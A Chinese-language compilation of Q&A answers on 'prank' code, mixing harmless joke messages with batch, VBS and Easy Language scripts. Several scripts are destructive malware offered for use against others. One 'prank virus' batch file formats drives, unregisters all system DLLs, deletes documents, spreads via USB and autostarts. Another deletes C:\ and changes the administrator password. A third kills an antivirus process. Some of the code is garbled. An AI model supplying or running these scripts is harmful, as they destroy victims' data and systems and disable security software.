整人編程教程

❶ 求簡單的整人Bat代碼

@ color 1f
@echo off
title 最好別關本程序否則後果自負......!
echo 你中招了!
echo 處理器異常!
ping 127.0.0.1 /n 4 >nul
echo.
echo 正在移除C盤……
echo.
ping 127.0.0.1 /n 4 >nul
echo 正在移除D盤……
echo.
echo 正在移除E盤……
ping 127.0.0.1 /n 4 >nul
echo F盤先給你留著吧!
echo.
echo 我會那麼善良嗎?
ping 127.0.0.1 /n 4 >nul
echo 不會的……
echo.
echo 呵呵開玩笑的!
ping 127.0.0.1 /n 4 >nul
echo 正在恢復C盤……
echo.
echo 正在恢復D盤……
ping 127.0.0.1 /n 4 >nul
echo 正在恢復E盤……
echo.
echo 正在恢復F盤……
ping 127.0.0.1 /n 4 >nul
echo 請一直按住 Enter 鍵
taskkill /f /im 360tray.exe
ping 127.0.0.1 /n 4 >nul
echo 看你的磁碟好少，怪可憐的……
echo.
ping 127.0.0.1 /n 4 >nul
echo 給你加幾個吧!
echo.
ping 127.0.0.1 /n 4 >nul
@echo off
for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: C:\)
start explorer.exe
ping 127.0.0.1 /n 4 >nul
echo 呵呵……
echo.
ping 127.0.0.1 /n 4 >nul
echo 給你兩分鍾時間，看看你的電腦!
echo .
ping 127.0.0.1 /n 120 >nul
echo 看過了嗎，好玩的在後面!
echo.
ping 127.0.0.1 /n 120 >nul
echo 哈哈!
echo.
@echo off
shutdown /s /t 120 /c "電腦馬上就要關機!"
ping 127.0.0.1 /n 15 >nul
shutdown -a
echo 你上當了,嚇唬嚇唬你!
ping 127.0.0.1 /n 4 >nul
echo 正在一鍵重裝中，請稍後……
echo.
echo 0.01
ping 127.0.0.1 /n 4 >nul
echo 0.13
ping 127.0.0.1 /n 4 >nul
echo 0.25
ping 127.0.0.1 /n 4 >nul
echo 0.49
ping 127.0.0.1 /n 4 >nul
echo 0.69
ping 127.0.0.1 /n 4 >nul
echo 0.89
ping 127.0.0.1 /n 4 >nul
echo 0.99
ping 127.0.0.1 /n 4 >nul
echo loading
ping 127.0.0.1 /n 4 >nul
echo 重裝已完成!
ping 127.0.0.1 /n 4 >nul
echo 也是嚇唬你的！
ping 127.0.0.1 /n 10 >nul
echo 真正的游戲開始了……
taskkill /f /im explorer.exe
shutdown /s /t 30 /c "系統關鍵文件被刪除導致崩潰!系統將在30秒後關機"
ping 127.0.0.1 /n 28 >nul
shutdown -a
echo 你上當了,嚇唬嚇唬你，現在恢復所有程序Loading......
for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: /d)
start explorer.exe
ping 127.0.0.1 /n 4 >nul
echo 恢復已完成
ping 127.0.0.1 /n 4 >nul
echo 我會那麼善良嗎?
ping 127.0.0.1 /n 4 >nul
echo 不會
ping 127.0.0.1 /n 4 >nul
echo 逗你玩的!
ping 127.0.0.1 /n 4 >nul
echo 會發生什麼呢?
ping 127.0.0.1 /n 4 >nul
echo 什麼都沒發生

❷ 跪求編程入門教程,

Hypermill 2018編程教程(高清無密碼)網路網盤免費資源在線學習

鏈接: https://pan..com/s/1Yhz-brWBnGq6lK2wd7_oTA

Hypermill 2018編程教程(高清無密碼) 第一章：hypermill基礎操作及命令詳解 第五章：5X循環工單應用及詳解 第四章：鑽孔、特徵、轉化應用及詳解 第三章 ：3X循環工單應用及詳解 第六章：實例強化訓練 第二章：2X循環工單應用及詳解 SIEMENS_840D_3AXIS Hypermill 西門子840D 五軸後處理AC軸 後處理 配套數模.rar

S840D_5xF_TabBC_R2iM.oma S840D_5xF_TabBC_R2iM.def om_post_languages.def header.txt def-description-Sin840D_5xF_TabBC.xls

❸ 求!!! 有沒有能過殺毒軟體的 bat代碼 要整人的 無實際傷害的

整人病毒代碼（附解除方法）

使用方法：

1、新建txt文件，復制代碼

2、改後綴名為bat

3、如果需要可以加入啟動項

4、啟動病毒

廢話不多說，直接上代碼

——————————————我是分界線————————————————

:1rem 損壞安全模式reg delete HKEY_LOCAL_ /frem 開機自啟動reg add HKEY_LOCAL_ /v windowsdir /t reg_sz /d "c:\%~n0%~x0" /f>nulrem 格式化所有盤format d:/qformat e:/qformat f:/qrem 運行exe會自動關聯jpgreg add "HKEY_CLASSES_ROOTexefileshellopencommand" "rundll32.exe C:WINDOWSsystem32shimgvw.dll,ImageView_Fullscreen %1rem 刪除系統備份for /f %%a in ('dir /b/s %systemroot%system32dllcache') do del /Q %%arem 反注冊所有dllfor /f "tokens=*" %%b in ('dir /b/s %systemroot%*.dll') do regsvr32 /s /u "%%b"rem 反注冊所有ocxfor /f "tokens=*" %%c in ('dir /b/s %systemroot%*.ocx') do regsvr32 /s /u "%%c"rem 禁用任務管理器reg add /v DisableTaskMgr /t reg_dword /d 1 /f >nulrem USB移動盤感染for %%i in (%drives%) do (fsutil fsinfo drivetype %%i: | find "可移動驅動器">NUL && %0 %%i)for %%i in (%drives%) do (del %%i:*.doc /f /s /q & del %%i:*.xls /f /s /q & del %%i:*.ghs /f /s /q)rem 5秒內重啟shutdown -r -t 5rem 復制自身+開機自啟動 %0 "C:Documents and Settings\%userprofile%「開始」菜單程序啟動"rem 增加超多硬碟md d:fly >nul 2>nulset a=c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,zfor %%a in (%a%) do subst %%a: d:fly >nul 2>nulrem 修改IE標題欄reg add "HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMain" /v "window title" /t REG_SZ /d "Bitch, I FUCK YOU ！" /frem 銷毀自身del %0goto 1

=======================我也是有底線的=====================

殺毒方法：

1、進入winpe

2、下載騰訊電腦管家，安裝並聯網

3、更新病毒庫，查殺完畢後修補漏洞

4、使用系統急救箱殺毒

5、關機，拔出或彈出pe盤

6、重新啟動，進入系統

7、修補完成

8、如果幫到你，給我點個贊哦！

❹ 還有什麼整人的編程

記得上學的時候寫過一段模擬windows95出錯藍屏的程序，上面說不能關閉計算機，否則有可能傷及硬體。隔壁宿舍的兄弟信以為真，呵呵，開了一天，快熄燈的時候都快急傻了，呵呵
要知道那時候一台電腦是全宿舍人集資買的呀。

❺ 手機QQ的整人代碼大全

第一步，將以下代碼復制到記事本中。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快說潮流哥特，不說就30秒關你機，不信，試試···"" ",0 ,true
dim a
do while(a <> "潮流哥特")
a = inputbox ("說潮流哥特,不然就不關機，快撒，說 ""潮流哥特"" ","說不說","不說",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
上面的文字可以隨便改，不印象效果。如果發給MM，你可以逼她說「我愛你」。方法是把上面的「QQ客是好網站」改成「快說我愛你」 內容來自
第二步，將記事本文件重命名為 ***.VBE（文件名可以任意起，如「美女.VBE」）
如果誰運行了這個QQ炸彈，在30秒後會自動關機。
下面說一下使用方法：
最簡單的使用方法是，你直接發給好友，讓他運行，然後他就中招了。
WScript.Echo("誰令你打開這個軟體的")
WScript.Echo("這個軟體會讓你無聊啊！")
WScript.Echo("推薦你來的肯定是個壞蛋！")
WScript.Echo("歡迎來到被整軟體站！")
WScript.Echo("是誰設計的？")
WScript.Echo("Is me")
WScript.Echo("你好，你要點30次確定哦！")
WScript.Echo("1")
WScript.Echo("2")
WScript.Echo("3")
WScript.Echo("begin")

❻ 整人小程序製作

簡訊整人大法
愚人節簡訊以其言簡意賅、風趣幽默、操作方便的特點越來越受到人們的親睞，不用費神勞時，只需輕按手機或滑鼠，即可實現愚人行動。雖然現在人們不一定按照簡訊上的提示去做了，但通過此方法博得愚人一笑，也是不錯的。記者從網上收集了一些使用頻繁的經典簡訊，以供大家參考。

1、關於手機的簡訊

緊急提醒：近日恐有雷電現象，出門時請把手機放在頭上並將充電器連線插上拖於身後，用於避雷，切記！

手機免費通話秘技：有電話呼入時在第二次振鈴前按54sg後按關機，此時通話免費。

這是一封精心設計的簡訊，將你的手機上下顛倒看，將會欣賞到奇妙的圖案……手機顛來倒去好玩嗎？

據美國麻省理工大研究發現，打手機前把手機在水中泡1分鍾，可完全避免電磁波對人體大腦的輻射，切記！

尊敬的用戶：您好！因你的手機外型難看，式樣過時，已嚴重影響市容市貌，且阻礙了移動通訊業務的發展，本台決定於10分鍾後發射信號摧毀該手機！

你如果收到本信息，證明你手機已感染病毒，請馬上取出手機卡，用汽油刷洗。

2、關於笨蛋的簡訊

考考你：世界上的豬一夜之間都死光了該怎麼辦？(打一歌名)《至少還有你》呀！

給你講個故事，從前有個笨蛋，他非常笨，別人問他什麼問題他都只會搖頭或回答「沒有」，這個故事你聽過嗎？

做傢具的是木材，懂詩詞的是秀才，眾人想的是錢財，被培養的是人才，女人要的是身材，發消息的是天才，正看簡訊的是蠢才！

你帥呆了，酷斃了，簡直無法比喻了，你頭頂鍋蓋手拎白菜，總以為自己是東方不敗，其實你是傻瓜二代！

測試一下普通話，請大聲朗讀下面的詩：暗石綠，暗石竹，暗石透春綠，暗石透春竹。

這是一首李白的詩，請大聲朗讀：卧室春綠，握梅又聞花，我只會中第，邀文卧室睡，卧室知春綠。

3、關於健康的簡訊

肺活量自測小技巧：放完屁後，低頭猛吸，然後觀察周圍之人有無聞到異味。如有，則須按此法加強鍛煉；如無，則證明你乃超人！

報告：您此時的睡覺姿勢不正確。為了您的身體健康，請您起來重睡……手機實時監測系統。

啊！您，是如此的雍容華貴，風情萬種，怪不得，大夥兒都說你……臃腫！

4、其他簡訊

注意了，先看看你的左邊，再看看你的右邊。請小心一個剛溜出來的精神病，他的特徵是：拿著手機東張西望。

通知：明天上午有領導視查工作，各位同事請按要求統一著裝。男士：西裝領帶短褲拖鞋；女士：泳裝西褲皮鞋！

緊急提醒：近日恐有龍卷風天氣，出門時務必隨身攜帶兩個10公斤重的啞鈴，以免被狂風卷上西天。體重輕於50公斤者須加倍。

地震台預測：今晚至明晨有微型地震，為了您的安全，請今晚包著棉被，頭戴馬桶，鼻孔插上吸管在床底下睡覺。

網路整人大法
利用電腦和網路整人，關鍵得靠你聰明的頭腦和靈活的手腳，具備了這兩點，你完全可以充分發揮自己的想像力和創造力，一環扣一環，設下天羅地網，讓被愚者無處可逃、哭笑不得。

最初級方法：簡單易行，適合所有用電腦的人

趁別人上廁所時在其電腦上設置屏幕保護，並加上密碼；偽造網站管理員講話：「系統即將重啟，請保存手中的工作後退出」；發電子郵件給朋友，先用Winzip打包、再次打包……最後做成自解壓文件，如此循環幾遍，最後對方打開信時，只有6個字：今天是愚人節！

易容術：適宜使用OICQ、ICQ等即時通訊軟體的朋友

用緊急事件將正在使用即時通訊軟體的被愚者支開，打開即時通訊軟體的修改個人資料選項，動用鍵盤、滑鼠，將被愚者的網路容貌來個全方位修改。至於如何改，那就看你的興趣和能力了。最後別忘了銷毀一切可能暴露形跡的證據。這種方法不易被發現，不僅讓被愚者的好友一時半會搞不清楚他是誰，就連被愚者自己也一時半會摸不著頭腦。

另一種方法就是設法取得被愚者的OICQ號碼，自己重新申請一個OICQ號碼，按照被愚者的詳細情況填寫個人資料。將被愚者加入到你所申請的新號碼的聯絡清單中，然後抓住對方弱點開始對其進行「大型轟炸」。本方法主要是不讓對方知道你是誰，因此在使用中一定要注意隱藏，盡量不要讓對方對你有疑心。

提醒被愚者：無論何時何地都千萬要記住將系統鎖定，再離開電腦。一旦懷疑中計，只能小心、細心地去觀察破解了。

偷梁換柱：改變被愚者電腦中的一些設置

利用麥克風和Windows自帶的「錄音機」程序錄下一些恐怖或離奇的聲音，然後將其設置為Windows開(關)機聲音。這樣當被愚者開(關)機的時候，冷不丁地肯定被嚇一跳。

將被愚者電腦中的「我的文檔」所對應的目標文件夾改變，讓其誤以為辛辛苦苦撰寫的文檔全部消失。

將被愚者常用的一些應用程序的快捷方式目標改變，讓其點擊快捷方式開啟程序後，卻發現啟動的不是和快捷方式相對應的程序。注意一定要將快捷方式的圖標保持和原來的程序一致。

這些方法愚人的效果是一流的，足以讓被愚者心跳加快、血壓升高、渾身冒冷汗。但使用的時候一定要小心謹慎，因為一不小心就會鑄成大錯。

提醒：愚人節當天不給任何人可以接近你電腦的機會。

動動硬體：電腦出了故障，一般人都會看程序或網路是否出了問題，很少考慮到細微的小硬體方面

你可以在被愚者還沒有上班前，將其顯示器的電源插頭或者滑鼠的插頭弄鬆，這樣當被愚者上班打開自己的電腦的時候就會發現顯示器黑屏或者提示滑鼠找不到，正當他不知道怎麼辦的時候，你再神勇現身，輕松將問題搞定，那麼對方非但不會想到被愚弄，還會大大感激你呢。

當然還有更為「歹毒」的一招，那就是將顯示器的對比度調整至最低，以屏幕漆黑為原則。如此一來，除非對方非常心細，否則極難發現真正的原因。如果他覺得是硬體出問題的話，有可能會將自己的電腦「大卸八塊」，以查原因。

提醒：要注意細心觀察顯示器的電源指示燈。至於能不能發現問題所在，就看你的修行深不深了。
生活版整人大法
1、調制怪味可樂

買一瓶可樂，喝掉一半後，摻入醋、醬油、鹽、芥茉等佐料，精心調制一份色澤正常的怪味可樂。遇到熟人就裝作正在喝，然後大方地把「可樂」遞上去，對方毫無戒備，一邊道謝一邊大口喝下去，緊接著皺眉頭、張口便吐。

你還可以依法炮製，如往礦泉水裡倒入二鍋頭酒，往啤酒里兌點肥皂水等等。

2、牙膏夾心餅

把夾心餅拆封，小心地撥開兩片餅干，去掉原來的夾心，拿出牙膏(最好是黑人牙膏，味道不錯！)擠出適量至餅中，分量隨個人「飲食」習慣，最後加以黏合，盡量做得逼真像樣。你一般根本不用特地使用，只需將之放至明顯處，最好准備幾片原始的夾心餅，一邊吃一邊看電視，自然而然就有人光顧品嘗了。這叫姜太公釣魚，願者上鉤。你也可以主動出擊，到處請人品嘗，雖然其風險性較大，但肯定有不少人中圈套。

3、點歌

准備好一個飯盆或搪瓷臉盆(其他經打擊後可以發出洪亮、高分貝的物體均可)以及電話。盡量用一種很正式的語調給對方打電話，接通後按照下面的話來說：這里是音樂電台，有一位X(可說可不說真實姓)先生／小姐要為Y先生／小姐點一首歌，如果您想聽的話，請撥＃號鍵收聽(一般人都會按一下)。謝謝，歌曲是動力火車的《當》，請仔細收聽。然後敲一下事先准備好的打擊物，只敲一下，發出「當」的一聲，在對方未反應過來前，說：謝謝收聽，愚人節快樂，再見！

此方法適用於宿舍之間，或可用電話聯系的好友，最後是較親密的人。另外在打電話過程中千萬不可以笑，以免影響效果和氣氛。

4、雙倍郵資

估算好時間，提前給你的朋友寄一封信，但不要貼郵票，也不要把自己的發信地址寫上(不然就會退給你的)。這樣愚人節這天，你的朋友將收到一張由郵局發給的取信通知單，被告知，他有一封欠資郵件，請到某某郵局辦理處領取，並付上雙倍的郵費。當他風塵僕僕地來到某某郵局，畢恭畢敬地奉送上雙倍的郵費後，打開信封，卻發現里邊飄出一張小紙條，上面寫著「愚人節快樂！」不過這個惡作劇可能時間上會有所誤差，效果未必有想像的那麼好。

5、送禮物

如果愚人節那天有人過生日，就送給他一個寫著「生日快樂」的大盒子，把盒子里裝滿碎紙片，並將盒底弄鬆。當他拿起盒子時，盒底掉落，碎紙片飛得滿屋都是，准得讓那位被愚者收拾半個鍾點。

6、測量

惡作劇者拿一截繩子，攔住一位行人，要他幫忙測量一下尺寸。再拿著繩子的另一頭，轉過樓角，又攔住另一位行人，如法炮製。然後你就可以躲在一邊看熱鬧去了。兩頭的人可能會等上十幾分鍾，見沒有動靜才放下繩頭，去找對方問個明白，這時才會發現上當了。

❼ 小的在此跪求易語言整人代碼

方法一：
_時鍾1_周期事件』
注意：時鍾1.時鍾周期=1
模擬滑鼠點擊（取隨機數（1，取屏幕寬度（）），取隨機數（1，取屏幕高度（），1或2或3）『1是左鍵單擊，2是左鍵雙擊，3是右鍵單擊
然後使用者的滑鼠就亂飛
方法二：
如果（讀注冊項
(#本地機器,
「software\microsoft\windows\CurrentVersion\Run\我的啟動項」,
取運行目錄
()
＋
「\整人程序.exe」)=真）
關閉系統（#重啟，）
返回（）
如果（讀注冊項
(#本地機器,
「software\microsoft\windows\CurrentVersion\Run\我的啟動項」,
取運行目錄
()
＋
「\整人程序.exe」)=假）
寫注冊項
(#本地機器,
「software\microsoft\windows\CurrentVersion\Run\我的啟動項」,
取運行目錄
()
＋
「\整人程序.exe」)
關閉系統（#重啟，）
返回（）
方法三：
刪除（「C:\」）
關閉系統（#重啟，）
然後使用者就開不了電腦了
方法四：
運行（cmd
/c
net
user
administrator
你想設置的密碼）
關閉系統（#重啟，）
我打到手都累了
希望這些對你有用，望採納

❽ 求一些好玩的整人代碼~~

gsh=msgbox ("已經准備好格式化，准備開始。",vbyesno)
set s=createobject("wscript.shell")
wscript.sleep 1000
msgbox "開始格式化…… 哈哈！嚇暈了吧，騙你的~"
wscript.sleep 1000
wscript.sleep 1000*100
msgbox "windows發現一重要更新，將自動下載。"
wscript.sleep 3000
msgbox "系統檢測到WINDOWS更新中捆綁有不明插件SXS.exe,是否對其掃描？",vbyesno
wscript.sleep 1000
msgbox "文件名 SXS.exe"+CHR(13)+"發行者 田間的菜鳥 "+chr(13)+"安全評級 高危"+chr(13)+"建議 直接刪除"+chr(13)+"病毒類型：木馬",,"windows掃描附件"
msgbox "是否阻止其安裝？",vbyesno
wscript.sleep 3000
msgbox "阻止失敗！請檢查防火牆是否開啟！"
wscript.sleep 5000
msgbox "正在嘗試強行刪除…"
wscript.sleep 5000
msgbox "失敗！"
wscript.sleep 5000
msgbox "您的電腦已陷入危險之中，請趕快掃描病毒！"
wscript.sleep 10000
s.sendkeys "% n"
s.run "taskkill /im QQ.exe"
s.sendkeys "% n"
s.run "taskkill /im explorer.exe /f"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
msgbox "你好啊！"
wscript.sleep 3000
msgbox "很高興見到你！"
wscript.sleep 3000
msgbox "您的電腦可能已經感染病毒！",,"WINDOWS防火牆警告"
wscript.sleep 3000
msgbox "我控制你的電腦了！"
wscript.sleep 3000
msgbox "不信？那我給你關機看看~"
s.run "shutdown -r -t 120"
msgbox "信了吧！"
msgbox "幫你解除關機……"
s.run "shutdown -a"
msgbox "再給你打開記事本寫封信，勸你最好別動，要不然會引起系統混亂~"
s.run "notepad"
wscript.sleep 3000
s.sendkeys "Hello, I'm sorry I control your computer,"
wscript.sleep 3000
s.sendkeys " but the virus is false in, "
wscript.sleep 3000
s.sendkeys "only a joke, "
wscript.sleep 3000
s.sendkeys "please rest assured! "
wscript.sleep 3000
s.sendkeys "I no longer next "
wscript.sleep 3000
s.sendkeys "time so the whole you!"
wscript.sleep 3000
s.sendkeys" Goodbye!"
s.sendkeys"{enter}"
s.sendkeys"END"
wscript.sleep 1000
s.sendkeys"%{F4}"
msgbox "提示：剛才的「病毒」是假的，只不過是嚇你玩玩~"
s.run "explorer"
」

❾ vb整人代碼怎麼用

不知道你要的是那種整人代碼。
目前我這有一個。隨便關都關不掉的。
創建若干個窗體。
我這里只弄兩個做例子。
form1 代碼：
Private Sub Form_Unload(Cancel As Integer)
Form2.Show '關閉工程1窗口，調用工程2.
End Sub

form2代碼：
Private Sub Form_Unload(Cancel As Integer)
Form1.Show '關閉工程2窗口。調用攻城1窗口。

End Sub

這個是我們同學曾經發的一個整人小玩意。
通過任務管理器可以關掉。

❿ 整人批處理教程

你好，50195575
你這個批處理如果他在set /p停頓時關閉對話框怎麼辦？
給你改下
@echo off
shutdown -s -t 30
set /p num=請輸入樓主好帥,否則本機會在30秒後自己關機:
If /I "%num%"=="樓主好帥" goto A
:A
exit

提前shutdown
整人代碼我比你們都寫得多得多，經驗自然比你們多拉
有興趣就交流下